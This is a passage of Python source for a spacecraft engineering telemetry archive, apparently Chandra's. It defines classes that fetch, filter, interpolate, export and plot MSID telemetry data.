archive server...\"\n )\n def get_msid_data_from_server(h5_slice, filename):\n import tables\n\n open_file = getattr(tables, \"open_file\", None) or tables.openFile\n h5 = open_file(os.path.join(*filename))\n vals = h5.root.data[h5_slice]\n bads = h5.root.quality[h5_slice]\n h5.close()\n return (vals, bads)\n\n vals, bads = get_msid_data_from_server(h5_slice, _split_path(filename))\n\n # Remote access will return arrays that don't own their data, see #150.\n # For an explanation see:\n # https://ipyparallel.readthedocs.io/en/latest/details.html#non-copying-sends-and-numpy-arrays\n try:\n bads.flags.writeable = True\n vals.flags.writeable = True\n except ValueError:\n bads = bads.copy()\n vals = vals.copy()\n\n # Filter bad times rows if needed\n if not times_all_ok:\n logger.info(\"Filtering bad times values for %s\", msid)\n bads = bads[times_ok]\n vals = vals[times_ok]\n\n # Slice down to exact requested time range\n row0, row1 = np.searchsorted(times, [tstart, tstop])\n logger.info(\"Slicing %s arrays [%d:%d]\", msid, row0, row1)\n vals = Units(unit_system).convert(msid.upper(), vals[row0:row1])\n times = times[row0:row1]\n bads = bads[row0:row1]\n\n # Possibly expand the bads list for a set of about 30 MSIDs which\n # have incorrect values in CXCDS telemetry\n bads = _fix_ctu_dwell_mode_bads(msid, bads)\n\n # Change bytestring to (unicode) string\n if vals.dtype.kind == \"S\":\n vals = vals.astype(\"U\")\n\n return (vals, times, bads)\n\n def _get_msid_data_from_maude(self, content, tstart, tstop, msid, unit_system):\n \"\"\"\n Get time and values for an MSID from MAUDE.\n Returned values are (for now) all assumed to be good.\n \"\"\"\n import maude\n\n # Telemetry values from another data_source may already be available. If\n # so then only query MAUDE from after the last available point.\n telem_already = hasattr(self, \"times\") and len(self.times) > 2\n\n if telem_already:\n tstart = self.times[-1] + 0.001 # Don't fetch the last point again\n dt = self.times[-1] - self.times[-2]\n if tstop - tstart < dt * 2:\n # Already got enough data from the original query, no need to hit MAUDE\n return\n\n # Actually query MAUDE\n options = data_source.options()[\"maude\"]\n try:\n out = maude.get_msids(msids=msid, start=tstart, stop=tstop, **options)\n except Exception as e:\n raise Exception(\"MAUDE query failed: {}\".format(e))\n\n # Only one MSID is queried from MAUDE but maude.get_msids() already returns\n # a list of results, so select the first element.\n out = out[\"data\"][0]\n\n vals = Units(unit_system).convert(\n msid.upper(), out[\"values\"], from_system=\"eng\"\n )\n times = out[\"times\"]\n bads = np.zeros(len(vals), dtype=bool) # No 'bad' values from MAUDE\n\n self.data_source[\"maude\"] = _get_start_stop_dates(times)\n self.data_source[\"maude\"][\"flags\"] = out[\"flags\"]\n\n if telem_already:\n vals = np.concatenate([self.vals, vals])\n times = np.concatenate([self.times, times])\n bads = np.concatenate([self.bads, bads])\n\n self.vals = vals\n self.times = times\n self.bads = bads\n\n @property\n def state_codes(self):\n \"\"\"List of state codes tuples (raw_count, state_code) for state-valued\n MSIDs\n \"\"\"\n if self.vals.dtype.kind not in (\"S\", \"U\"):\n self._state_codes = None\n\n if self.MSID in STATE_CODES:\n self._state_codes = STATE_CODES[self.MSID]\n\n if not hasattr(self, \"_state_codes\"):\n import Ska.tdb\n\n try:\n states = Ska.tdb.msids[self.MSID].Tsc\n except Exception:\n self._state_codes = None\n else:\n if states is None or len(set(states[\"CALIBRATION_SET_NUM\"])) != 1:\n warnings.warn(\n \"MSID {} has string vals but no state codes \"\n \"or multiple calibration sets\".format(self.msid)\n )\n self._state_codes = None\n else:\n states = np.sort(states.data, order=\"LOW_RAW_COUNT\")\n self._state_codes = [\n (state[\"LOW_RAW_COUNT\"], state[\"STATE_CODE\"])\n for state in states\n ]\n return self._state_codes\n\n @property\n def raw_vals(self):\n \"\"\"Raw counts corresponding to the string state-code values that are\n stored in ``self.vals``\n \"\"\"\n # If this is not a string-type value then there are no raw values\n if self.vals.dtype.kind not in (\"S\", \"U\") or self.state_codes is None:\n self._raw_vals = None\n\n if not hasattr(self, \"_raw_vals\"):\n self._raw_vals = np.zeros(len(self.vals), dtype=\"int8\") - 1\n # CXC state code telem all has same length with trailing spaces\n # so find max length for formatting below.\n max_len = max(len(x[1]) for x in self.state_codes)\n fmtstr = \"{:\" + str(max_len) + \"s}\"\n for raw_val, state_code in self.state_codes:\n ok = self.vals == fmtstr.format(state_code)\n self._raw_vals[ok] = raw_val\n\n return self._raw_vals\n\n @property\n def tdb(self):\n \"\"\"Access the Telemetry database entries for this MSID\"\"\"\n import Ska.tdb\n\n return Ska.tdb.msids[self.MSID]\n\n def interpolate(self, dt=None, start=None, stop=None, times=None):\n \"\"\"Perform nearest-neighbor interpolation of the MSID to the specified\n time sequence.\n\n The time sequence steps uniformly by ``dt`` seconds starting at the\n ``start`` time and ending at the ``stop`` time. If not provided the\n times default to the first and last times for the MSID.\n\n The MSID ``times`` attribute is set to the common time sequence. In\n addition a new attribute ``times0`` is defined that stores the nearest\n neighbor interpolated time, providing the *original* timestamps of each\n new interpolated value for that MSID.\n\n If ``times`` is provided then this gets used instead of the default linear\n progression from ``start`` and ``dt``.\n\n :param dt: time step (sec, default=328.0)\n :param start: start of interpolation period (DateTime format)\n :param stop: end of interpolation period (DateTime format)\n :param times: array of times for interpolation (default=None)\n \"\"\"\n import Ska.Numpy\n\n if times is not None:\n if any(kwarg is not None for kwarg in (dt, start, stop)):\n raise ValueError(\n 'If \"times\" keyword is set then \"dt\", \"start\", '\n 'and \"stop\" cannot be set'\n )\n # Use user-supplied times that are within the range of telemetry.\n ok = (times >= self.times[0]) & (times <= self.times[-1])\n times = times[ok]\n else:\n dt = 328.0 if dt is None else dt\n tstart = DateTime(start).secs if start else self.times[0]\n tstop = DateTime(stop).secs if stop else self.times[-1]\n\n # Legacy method for backward compatibility. Note that the np.arange()\n # call accrues floating point error.\n tstart = max(tstart, self.times[0])\n tstop = min(tstop, self.times[-1])\n times = np.arange(tstart, tstop, dt)\n\n logger.info(\"Interpolating index for %s\", self.msid)\n indexes = Ska.Numpy.interpolate(\n np.arange(len(self.times)), self.times, times, method=\"nearest\", sorted=True\n )\n logger.info(\"Slicing on indexes\")\n for colname in self.colnames:\n colvals = getattr(self, colname)\n if colvals is not None:\n setattr(self, colname, colvals[indexes])\n\n # Make a new attribute times0 that stores the nearest neighbor\n # interpolated times. Then set the MSID times to be the common\n # interpolation times.\n self.times0 = self.times\n self.times = times\n\n def copy(self):\n from copy import deepcopy\n\n return deepcopy(self)\n\n def filter_bad(self, bads=None, copy=False):\n \"\"\"Filter out any bad values.\n\n After applying this method the \"bads\" column will be set to None to\n indicate that there are no bad values.\n\n :param bads: Bad values mask. If not supplied then self.bads is used.\n :param copy: return a copy of MSID object with bad values filtered\n \"\"\"\n obj = self.copy() if copy else self\n\n # If bad mask is provided then override any existing bad mask for MSID\n if bads is not None:\n obj.bads = bads\n\n # Nothing to do if bads is None (i.e. bad values already filtered)\n if obj.bads is None:\n return\n\n if np.any(obj.bads):\n logger.info(\"Filtering bad values for %s\", obj.msid)\n ok = ~obj.bads\n colnames = (x for x in obj.colnames if x != \"bads\")\n for colname in colnames:\n setattr(obj, colname, getattr(obj, colname)[ok])\n\n obj.bads = None\n\n if copy:\n return obj\n\n def filter_bad_times(self, start=None, stop=None, table=None, copy=False):\n \"\"\"Filter out intervals of bad data in the MSID object.\n\n There are three usage options:\n\n - Supply no arguments. This will use the global list of bad times read\n in with fetch.read_bad_times().\n - Supply both ``start`` and ``stop`` values where each is a single\n value in a valid DateTime format.\n - Supply an ``table`` parameter in the form of a 2-column table of\n start and stop dates (space-delimited) or the name of a file with\n data in the same format.\n\n The ``table`` parameter must be supplied as a table or the name of a\n table file, for example::\n\n bad_times = ['2008:292:00:00:00 2008:297:00:00:00',\n '2008:305:00:12:00 2008:305:00:12:03',\n '2010:101:00:01:12 2010:101:00:01:25']\n msid.filter_bad_times(table=bad_times)\n msid.filter_bad_times(table='msid_bad_times.dat')\n\n :param start: Start of time interval to exclude (any DateTime format)\n :param stop: End of time interval to exclude (any DateTime format)\n :param table: Two-column table (start, stop) of bad time intervals\n :param copy: return a copy of MSID object with bad times filtered\n \"\"\"\n if table is not None:\n bad_times = ascii.read(table, format=\"no_header\", names=[\"start\", \"stop\"])\n elif start is None and stop is None:\n bad_times = []\n for msid_glob, times in msid_bad_times.items():\n if fnmatch.fnmatch(self.MSID, msid_glob):\n bad_times.extend(times)\n elif start is None or stop is None:\n raise ValueError(\n \"filter_times requires either 2 args (start, stop) or no args\"\n )\n else:\n bad_times = [(start, stop)]\n\n obj = self.copy() if copy else self\n obj._filter_times(bad_times, exclude=True)\n if copy:\n return obj\n\n def remove_intervals(self, intervals, copy=False):\n \"\"\"\n Remove telemetry points that occur within the specified ``intervals``\n\n This method is the converse of select_intervals().\n\n The ``intervals`` argument can be either a list of (start, stop) tuples\n or an EventQuery object from kadi.\n\n If ``copy`` is set to True then a copy of the MSID object is made prior\n to removing intervals, and that copy is returned. The default is to\n remove intervals in place.\n\n This example shows fetching the pitch component of the spacecraft rate.\n After examining the rates, the samples during maneuvers are then removed\n and the standard deviation is recomputed. This filters out the large\n rates during maneuvers::\n\n >>> aorate2 = fetch.Msid('aorate2', '2011:001', '2011:002')\n >>> aorate2.vals.mean() * 3600 * 180 / np.pi # rate in arcsec/sec\n 3.9969393528801782\n >>> figure(1)\n >>> aorate2.plot(',')\n\n >>> from kadi import events\n >>> aorate2.remove_intervals(events.manvrs)\n >>> aorate2.vals.mean() * 3600 * 180 / np.pi # rate in arcsec/sec\n -0.0003688639491030978\n >>> figure(2)\n >>> aorate2.plot(',')\n\n :param intervals: EventQuery or iterable (N x 2) with start, stop dates/times\n :param copy: return a copy of MSID object with intervals removed\n \"\"\"\n obj = self.copy() if copy else self\n obj._filter_times(intervals, exclude=True)\n if copy:\n return obj\n\n def select_intervals(self, intervals, copy=False):\n \"\"\"\n Select telemetry points that occur within the specified ``intervals``\n\n This method is the converse of remove_intervals().\n\n The ``intervals`` argument can be either a list of (start, stop) tuples\n or an EventQuery object from kadi.\n\n If ``copy`` is set to True then a copy of the MSID object is made prior\n to selecting intervals, and that copy is returned. The default is to\n selecte intervals in place.\n\n This example shows fetching the pitch component of the spacecraft rate.\n After examining the rates, the samples during maneuvers are then selected\n and the mean is recomputed. This highlights the large rates during\n maneuvers::\n\n >>> aorate2 = fetch.Msid('aorate2', '2011:001', '2011:002')\n >>> aorate2.vals.mean() * 3600 * 180 / np.pi # rate in arcsec/sec\n 3.9969393528801782\n >>> figure(1)\n >>> aorate2.plot(',')\n\n >>> from kadi import events\n >>> aorate2.select_intervals(events.manvrs)\n >>> aorate2.vals.mean() * 3600 * 180 / np.pi # rate in arcsec/sec\n 24.764309542605481\n >>> figure(2)\n >>> aorate2.plot(',')\n\n :param intervals: EventQuery or iterable (N x 2) with start, stop dates/times\n :param copy: return a copy of MSID object with intervals selected\n \"\"\"\n obj = self.copy() if copy else self\n obj._filter_times(intervals, exclude=False)\n if copy:\n return obj\n\n def _filter_times(self, intervals, exclude=True):\n \"\"\"\n Filter the times of self based on ``intervals``.\n\n :param intervals: iterable (N x 2) with tstart, tstop in seconds\n :param exclude: exclude intervals if True, else include intervals\n \"\"\"\n # Make an initial acceptance mask. If exclude is True then initially\n # all values are allowed (ok=True). If exclude is False (i.e. only\n # include the interval times) then ok=False everywhere.\n ok = np.empty(len(self.times), dtype=bool)\n ok[:] = exclude\n\n # See if the input intervals is actually a table of intervals\n intervals_list = _get_table_intervals_as_list(intervals, check_overlaps=False)\n if intervals_list is not None:\n intervals = intervals_list\n\n # Check if this is an EventQuery. Would rather not import EventQuery\n # because this is expensive (django), so just look at the names in\n # object MRO.\n if \"EventQuery\" in (cls.__name__ for cls in intervals.__class__.__mro__):\n intervals = intervals.intervals(self.datestart, self.datestop)\n\n intervals = [\n (DateTime(start).secs, DateTime(stop).secs) for start, stop in intervals\n ]\n\n for tstart, tstop in intervals:\n if tstart > tstop:\n raise ValueError(\n \"Start time %s must be less than stop time %s\" % (tstart, tstop)\n )\n\n if tstop < self.times[0] or tstart > self.times[-1]:\n continue\n\n # Find the indexes of bad data. Using side=left,right respectively\n # will exclude points exactly equal to the bad_times values\n # (though in reality an exact tie is extremely unlikely).\n i0 = np.searchsorted(self.times, tstart, side=\"left\")\n i1 = np.searchsorted(self.times, tstop, side=\"right\")\n ok[i0:i1] = not exclude\n\n colnames = (x for x in self.colnames)\n for colname in colnames:\n attr = getattr(self, colname)\n if isinstance(attr, np.ndarray):\n setattr(self, colname, attr[ok])\n\n def write_zip(self, filename, append=False):\n \"\"\"Write MSID to a zip file named ``filename``\n\n Within the zip archive the data for this MSID will be stored in csv\n format with the name .csv.\n\n :param filename: output zipfile name\n :param append: append to an existing zipfile\n \"\"\"\n import zipfile\n\n colnames = self.colnames[:]\n if self.bads is None and \"bads\" in colnames:\n colnames.remove(\"bads\")\n\n if self.state_codes:\n colnames.append(\"raw_vals\")\n\n # Indexes value is not interesting for output\n if \"indexes\" in colnames:\n colnames.remove(\"indexes\")\n\n colvals = tuple(getattr(self, x) for x in colnames)\n fmt = \",\".join(\"%s\" for x in colnames)\n\n f = zipfile.ZipFile(\n filename, (\"a\" if append and os.path.exists(filename) else \"w\")\n )\n info = zipfile.ZipInfo(self.msid + \".csv\")\n info.external_attr = 0o664 << 16 # Set permissions\n info.date_time = time.localtime()[:7]\n info.compress_type = zipfile.ZIP_DEFLATED\n f.writestr(\n info,\n \",\".join(colnames)\n + \"\\n\"\n + \"\\n\".join(fmt % x for x in zip(*colvals))\n + \"\\n\",\n )\n f.close()\n\n def logical_intervals(self, op, val, complete_intervals=False, max_gap=None):\n \"\"\"Determine contiguous intervals during which the logical comparison\n expression \"MSID.vals op val\" is True. Allowed values for ``op``\n are::\n\n == != > < >= <=\n\n If ``complete_intervals`` is True (default is False) then the intervals\n are guaranteed to be complete so that the all reported intervals had a\n transition before and after within the telemetry interval.\n\n If ``max_gap`` is specified then any time gaps longer than ``max_gap`` are\n filled with a fictitious False value to create an artificial interval\n boundary at ``max_gap / 2`` seconds from the nearest data value.\n\n Returns a structured array table with a row for each interval.\n Columns are:\n\n * datestart: date of interval start\n * datestop: date of interval stop\n * duration: duration of interval (sec)\n * tstart: time of interval start (CXC sec)\n * tstop: time of interval stop (CXC sec)\n\n Examples::\n\n >>> dat = fetch.MSID('aomanend', '2010:001', '2010:005')\n >>> manvs = dat.logical_intervals('==', 'NEND', complete_intervals=True)\n\n >>> dat = fetch.MSID('61PSTS02', '1999:200', '2000:001')\n >>> safe_suns = dat.logical_intervals('==', 'SSM', max_gap=66)\n\n :param op: logical operator, one of == != > < >= <=\n :param val: comparison value\n :param complete_intervals: return only complete intervals (default=True)\n :param max_gap: max allowed gap between time stamps (sec, default=None)\n :returns: structured array table of intervals\n \"\"\"\n from . import utils\n\n ops = {\n \"==\": operator.eq,\n \"!=\": operator.ne,\n \">\": operator.gt,\n \"<\": operator.lt,\n \">=\": operator.ge,\n \"<=\": operator.le,\n }\n try:\n op = ops[op]\n except KeyError:\n raise ValueError(\n 'op = \"{}\" is not in allowed values: {}'.format(op, sorted(ops.keys()))\n )\n\n # Do local version of bad value filtering\n if self.bads is not None and np.any(self.bads):\n ok = ~self.bads\n vals = self.vals[ok]\n times = self.times[ok]\n else:\n vals = self.vals\n times = self.times\n\n bools = op(vals, val)\n return utils.logical_intervals(times, bools, complete_intervals, max_gap)\n\n def state_intervals(self):\n \"\"\"Determine contiguous intervals during which the MSID value\n is unchanged.\n\n Returns a structured array table with a row for each interval.\n Columns are:\n\n * datestart: date of interval start\n * datestop: date of interval stop\n * duration: duration of interval (sec)\n * tstart: time of interval start (CXC sec)\n * tstop: time of interval stop (CXC sec)\n * val: MSID value during the interval\n\n Example::\n\n dat = fetch.MSID('cobsrqid', '2010:001', '2010:005')\n obsids = dat.state_intervals()\n\n :param val: state value for which intervals are returned.\n :returns: structured array table of intervals\n \"\"\"\n from . import utils\n\n # Do local version of bad value filtering\n if self.bads is not None and np.any(self.bads):\n ok = ~self.bads\n vals = self.vals[ok]\n times = self.times[ok]\n else:\n vals = self.vals\n times = self.times\n\n if len(self.vals) < 2:\n raise ValueError(\"Filtered data length must be at least 2\")\n\n return utils.state_intervals(times, vals)\n\n def iplot(self, fmt=\"-b\", fmt_minmax=\"-c\", **plot_kwargs):\n \"\"\"Make an interactive plot for exploring the MSID data.\n\n This method opens a new plot figure (or clears the current figure) and\n plots the MSID ``vals`` versus ``times``. This plot can be panned or\n zoomed arbitrarily and the data values will be fetched from the archive\n as needed. Depending on the time scale, ``iplot`` displays either full\n resolution, 5-minute, or daily values. For 5-minute and daily values\n the min and max values are also plotted.\n\n Once the plot is displayed and the window is selected by clicking in\n it, the following key commands are recognized::\n\n a: autoscale for full data range in x and y\n m: toggle plotting of min/max values\n p: pan at cursor x\n y: toggle autoscaling of y-axis\n z: zoom at cursor x\n ?: print help\n\n Example::\n\n dat = fetch.Msid('aoattqt1', '2011:001', '2012:001', stat='5min')\n dat.iplot()\n dat.iplot('.b', '.c', markersize=0.5)\n\n Caveat: the ``iplot()`` method is not meant for use within scripts, and\n may give unexpected results if used in combination with other plotting\n commands directed at the same plot figure.\n\n :param fmt: plot format for values (default=\"-b\")\n :param fmt_minmax: plot format for mins and maxes (default=\"-c\")\n :param plot_kwargs: additional plotting keyword args\n\n \"\"\"\n\n from .plot import MsidPlot\n\n self._iplot = MsidPlot(self, fmt, fmt_minmax, **plot_kwargs)\n\n def plot(self, *args, **kwargs):\n \"\"\"Plot the MSID ``vals`` using Ska.Matplotlib.plot_cxctime()\n\n This is a convenience function for plotting the MSID values. It\n is equivalent to::\n\n plot_cxctime(self.times, self.vals, *args, **kwargs)\n\n where ``*args`` are additional arguments and ``**kwargs`` are\n additional keyword arguments that are accepted by ``plot_cxctime()``.\n\n Example::\n\n dat = fetch.Msid('tephin', '2011:001', '2012:001', stat='5min')\n dat.plot('-r', linewidth=2)\n\n \"\"\"\n\n import matplotlib.pyplot as plt\n from Ska.Matplotlib import plot_cxctime\n\n vals = self.raw_vals if self.state_codes else self.vals\n plot_cxctime(self.times, vals, *args, state_codes=self.state_codes, **kwargs)\n plt.margins(0.02, 0.05)\n # Upper-cased version of msid name from user\n title = self.msid.upper()\n if self.stat:\n title = f\"{title} ({self.stat})\"\n plt.title(title)\n if self.unit:\n plt.ylabel(self.unit)\n\n\nclass MSIDset(collections.OrderedDict):\n \"\"\"Fetch a set of MSIDs from the engineering telemetry archive.\n\n Each input ``msid`` is case-insensitive and can include linux file \"glob\"\n patterns, for instance ``orb*1*_?`` (ORBITEPHEM1_X, Y and Z) or\n ``aoattqt[1234]`` (AOATTQT1, 2, 3, and 4). For derived parameters the\n initial ``DP_`` is optional, for instance ``dpa_pow*`` (DP_DPA_POWER).\n\n :param msids: list of MSID names (case-insensitive)\n :param start: start date of telemetry (Chandra.Time compatible)\n :param stop: stop date of telemetry (current time if not supplied)\n :param filter_bad: automatically filter out bad values\n :param stat: return 5-minute or daily statistics ('5min' or 'daily')\n\n :returns: Dict-like object containing MSID instances keyed by MSID name\n \"\"\"\n\n MSID = MSID\n\n def __init__(\n self, msids=None, start=LAUNCH_DATE, stop=None, filter_bad=False, stat=None\n ):\n if msids is None:\n msids = []\n\n super(MSIDset, self).__init__()\n\n intervals = _get_table_intervals_as_list(start, check_overlaps=True)\n if intervals is not None:\n start, stop = intervals[0][0], intervals[-1][1]\n\n self.tstart = DateTime(start).secs\n self.tstop = DateTime(stop).secs if stop else DateTime().secs\n self.datestart = DateTime(self.tstart).date\n self.datestop = DateTime(self.tstop).date\n\n # Input ``msids`` may contain globs, so expand each and add to new list\n new_msids = []\n for msid in msids:\n new_msids.extend(msid_glob(msid)[0])\n for msid in new_msids:\n if intervals is None:\n self[msid] = self.MSID(\n msid, self.tstart, self.tstop, filter_bad=False, stat=stat\n )\n else:\n self[msid] = self.MSID(msid, intervals, filter_bad=False, stat=stat)\n\n if filter_bad:\n self.filter_bad()\n\n def __deepcopy__(self, memo=None):\n out = self.__class__([], None)\n for attr in (\"tstart\", \"tstop\", \"datestart\", \"datestop\"):\n setattr(out, attr, getattr(self, attr))\n for msid in self:\n out[msid] = self[msid].copy()\n\n return out\n\n def copy(self):\n return self.__deepcopy__()\n\n def filter_bad(self, copy=False, union=False):\n \"\"\"Filter bad values for the MSID set.\n\n By default (``union=False``) the bad values are filtered individually for\n each MSID.\n\n If ``union=True`` this method applies the union (logical-OR) of bad value\n masks for all MSIDs in the set with the same content type. The result\n is that the filtered MSID samples are valid for *all* MSIDs within the\n content type and the arrays all match up.\n\n For example::\n\n msids = fetch.MSIDset(['aorate1', 'aorate2', 'aogyrct1', 'aogyrct2'],\n '2009:001', '2009:002')\n msids.filter_bad()\n\n Since ``aorate1`` and ``aorate2`` both have content type of\n ``pcad3eng`` they will be filtered as a group and will remain with the\n same sampling. This will allow something like::\n\n plot(msids['aorate1'].vals, msids['aorate2'].vals)\n\n Likewise the two gyro count MSIDs would be filtered as a group. If\n this group-filtering is not the desired behavior one can always call\n the individual MSID.filter_bad() function for each MSID in the set::\n\n for msid in msids.values():\n msid.filter_bad()\n\n :param copy: return a copy of MSID object with intervals selected\n \"\"\"\n obj = self.copy() if copy else self\n\n if not union:\n # Filter bad values individually for each MSID\n for msid in obj.values():\n msid.filter_bad()\n # Maintain existing function API to return None for copy=False\n return obj if copy else None\n\n # Union of bad value masks for all MSIDs in the set with the same\n # content type.\n for content in set(x.content for x in obj.values()):\n bads = None\n\n msids = [\n x for x in obj.values() if x.content == content and x.bads is not None\n ]\n for msid in msids:\n if bads is None:\n bads = msid.bads.copy()\n else:\n bads |= msid.bads\n\n for msid in msids:\n msid.filter_bad(bads)\n\n if copy:\n return obj\n\n def filter_bad_times(self, start=None, stop=None, table=None, copy=False):\n \"\"\"Filter out intervals of bad data in the MSIDset object.\n\n There are three usage options:\n\n - Supply no arguments. This will use the global list of bad times read\n in with fetch.read_bad_times().\n - Supply both ``start`` and ``stop`` values where each is a single\n value in a valid DateTime format.\n - Supply an ``table`` parameter in the form of a 2-column table of\n start and stop dates (space-delimited) or the name of a file with\n data in the same format.\n\n The ``table`` parameter must be supplied as a table or the name of a\n table file, for example::\n\n msidset.filter_bad_times()\n bad_times = ['2008:292:00:00:00 2008:297:00:00:00',\n '2008:305:00:12:00 2008:305:00:12:03',\n '2010:101:00:01:12 2010:101:00:01:25']\n msidset.filter_bad_times(table=bad_times)\n msidset.filter_bad_times(table='msid_bad_times.dat')\n\n :param start: Start of time interval to exclude (any DateTime format)\n :param stop: End of time interval to exclude (any DateTime format)\n :param table: Two-column table (start, stop) of bad time intervals\n :param copy: return a copy of MSID object with intervals selected\n \"\"\"\n obj = self.copy() if copy else self\n\n for msid in obj.values():\n msid.filter_bad_times(start, stop, table)\n\n if copy:\n return obj\n\n def interpolate(\n self,\n dt=None,\n start=None,\n stop=None,\n filter_bad=True,\n times=None,\n bad_union=False,\n copy=False,\n ):\n \"\"\"\n Perform nearest-neighbor interpolation of all MSID values in the set\n to a common time sequence. The values are updated in-place.\n\n **Times**\n\n The time sequence steps uniformly by ``dt`` seconds starting at the\n ``start`` time and ending at the ``stop`` time. If not provided the\n times default to the ``start`` and ``stop`` times for the MSID set.\n\n If ``times`` is provided then this gets used instead of the default linear\n progression from ``start`` and ``dt``.\n\n For each MSID in the set the ``times`` attribute is set to the common\n time sequence. In addition a new attribute ``times0`` is defined that\n stores the nearest neighbor interpolated time, providing the *original*\n timestamps of each new interpolated value for that MSID.\n\n **Filtering and bad values**\n\n If ``filter_bad`` is True (default) then bad values are filtered from\n the interpolated MSID set. There are two strategies for doing this:\n\n 1) ``bad_union = False``\n\n Remove the bad values in each MSID prior to interpolating the set to\n a common time series. This essentially says to use all the available\n data individually. Each MSID has bad data filtered individually\n *before* interpolation so that the nearest neighbor interpolation only\n finds good data. This strategy is done when ``filter_union = False``,\n which is the default setting.\n\n 2) ``bad_union = True``\n\n Mark every MSID in the set as bad at the interpolated time if *any*\n of them are bad at that time. This stricter version is required when it\n is important that the MSIDs be truly correlated in time. For instance\n this is needed for attitude quaternions since all four values must be\n from the exact same telemetry sample. If you are not sure, this is the\n safer option.\n\n :param dt: time step (sec, default=328.0)\n :param start: start of interpolation period (DateTime format)\n :param stop: end of interpolation period (DateTime format)\n :param filter_bad: filter bad values\n :param times: array of times for interpolation (default=None)\n :param bad_union: filter union of bad values after interpolating\n :param copy: return a new copy instead of in-place update (default=False)\n \"\"\"\n import Ska.Numpy\n\n obj = self.copy() if copy else self\n\n msids = list(obj.values()) # MSID objects in the MSIDset\n\n # Ensure that tstart / tstop is entirely within the range of available\n # data fetched from the archive.\n max_fetch_tstart = max(msid.times[0] for msid in msids)\n min_fetch_tstop = min(msid.times[-1] for msid in msids)\n\n if times is not None:\n if any(kwarg is not None for kwarg in (dt, start, stop)):\n raise ValueError(\n 'If \"times\" keyword is set then \"dt\", \"start\", '\n 'and \"stop\" cannot be set'\n )\n # Use user-supplied times that are within the range of telemetry.\n ok = (times >= max_fetch_tstart) & (times <= min_fetch_tstop)\n obj.times = times[ok]\n else:\n # Get the nominal tstart / tstop range\n dt = 328.0 if dt is None else dt\n tstart = DateTime(start).secs if start else obj.tstart\n tstop = DateTime(stop).secs if stop else obj.tstop\n\n tstart = max(tstart, max_fetch_tstart)\n tstop = min(tstop, min_fetch_tstop)\n obj.times = np.arange((tstop - tstart) // dt + 1) * dt + tstart\n\n for msid in msids:\n if filter_bad and not bad_union:\n msid.filter_bad()\n logger.info(\"Interpolating index for %s\", msid.msid)\n indexes = Ska.Numpy.interpolate(\n np.arange(len(msid.times)),\n msid.times,\n obj.times,\n method=\"nearest\",\n sorted=True,\n )\n logger.info(\"Slicing on indexes\")\n for colname in msid.colnames:\n colvals = getattr(msid, colname)\n if colvals is not None:\n setattr(msid, colname, colvals[indexes])\n\n # Make a new attribute times0 that stores the nearest neighbor\n # interpolated times. Then set the MSID times to be the common\n # interpolation times.\n msid.times0 = msid.times\n msid.times = obj.times\n\n if bad_union:\n common_bads = np.zeros(len(obj.times), dtype=bool)\n for msid in msids:\n if msid.stat is None and msid.bads is None:\n warnings.warn(\n \"WARNING: {!r} MSID has bad values already filtered.\\n\"\n \"This prevents `filter_bad_union` from working as expected.\\n\"\n \"Use MSIDset (not Msidset) with filter_bad=False.\\n\"\n )\n if msid.bads is not None: # 5min and daily stats have no bad values\n common_bads |= msid.bads\n\n # Apply the common bads array and optional filter out these bad values\n for msid in msids:\n msid.bads = common_bads\n if filter_bad:\n msid.filter_bad()\n\n # Filter MSIDset-level times attr to match invididual MSIDs if filter_bad is True\n if filter_bad:\n obj.times = obj.times[~common_bads]\n\n if copy:\n return obj\n\n def write_zip(self, filename):\n \"\"\"Write MSIDset to a zip file named ``filename``\n\n Within the zip archive the data for each MSID in the set will be stored\n in csv format with the name .csv.\n\n :param filename: output zipfile name\n \"\"\"\n append = False\n for msid in self.values():\n msid.write_zip(filename, append=append)\n append = True\n\n\nclass Msid(MSID):\n \"\"\"\n Fetch data from the engineering telemetry archive into an MSID object.\n Same as MSID class but with filter_bad=True by default.\n\n :param msid: name of MSID (case-insensitive)\n :param start: start date of telemetry (Chandra.Time compatible)\n :param stop: stop date of telemetry (current time if not supplied)\n :param filter_bad: automatically filter out bad values\n :param stat: return 5-minute or daily statistics ('5min' or 'daily')\n :param unit_system: Unit system (cxc|eng|sci, default=current units)\n\n :returns: MSID instance\n \"\"\"\n\n units = UNITS\n\n def __init__(self, msid, start=LAUNCH_DATE, stop=None, filter_bad=True, stat=None):\n super(Msid, self).__init__(\n msid, start=start, stop=stop, filter_bad=filter_bad, stat=stat\n )\n\n\nclass Msidset(MSIDset):\n \"\"\"Fetch a set of MSIDs from the engineering telemetry archive.\n Same as MSIDset class but with filter_bad=True by default.\n\n :param msids: list of MSID names (case-insensitive)\n :param start: start date of telemetry (Chandra.Time compatible)\n :param stop: stop date of telemetry (current time if not supplied)\n :param filter_bad: automatically filter out bad values\n :param stat: return 5-minute or daily statistics ('5min' or 'daily')\n :param unit_system: Unit system (cxc|eng|sci, default=current units)\n\n :returns: Dict-like object containing MSID instances keyed by MSID name\n \"\"\"\n\n MSID = MSID\n\n def __init__(self, msids, start=LAUNCH_DATE, stop=None, filter_bad=True, stat=None):\n super(Msidset, self).__init__(\n msids, start=start, stop=stop, filter_bad=filter_bad, stat=stat\n )\n\n\nclass HrcSsMsid(Msid):\n \"\"\"\n Fetch data from the engineering telemetry archive into an MSID object.\n Same as MSID class but with filter_bad=True by default.\n\n :param msid: name of MSID (case-insensitive)\n :param start: start date of telemetry (Chandra.Time compatible)\n :param stop: stop date of telemetry (current time if not supplied)\n :param filter_bad: automatically filter out bad values\n :param stat: return 5-minute or daily statistics ('5min' or 'daily')\n :param unit_system: Unit system (cxc|eng|sci, default=current units)\n\n :returns: MSID instance\n\n \"\"\"\n\n units = UNITS\n\n def __new__(self, msid, start=LAUNCH_DATE, stop=None, stat=None):\n ss_msids = \"2TLEV1RT 2VLEV1RT 2SHEV1RT 2TLEV2RT 2VLEV2RT 2SHEV2RT\"\n if msid.upper() not in ss_msids.split():\n raise ValueError(\n \"MSID {} is not in HRC secondary science ({})\".format(msid, ss_msids)\n )\n\n # If this is not full-resolution then add boolean bads mask to individual MSIDs\n msids = [msid, \"HRC_SS_HK_BAD\"]\n out = MSIDset(msids, start=start, stop=stop, stat=stat)\n if stat is not None:\n for m in msids:\n out[m].bads = np.zeros(len(out[m].vals), dtype=np.bool)\n\n # Set bad mask\n i_bads = np.flatnonzero(out[\"HRC_SS_HK_BAD\"].vals > 0)\n out[\"HRC_SS_HK_BAD\"].bads[i_bads] = True\n\n # For full-resolution smear the bad mask out by +/- 5 samples\n if stat is None:\n for i_bad in i_bads:\n i0 = max(0, i_bad - 5)\n i1 = i_bad + 5\n 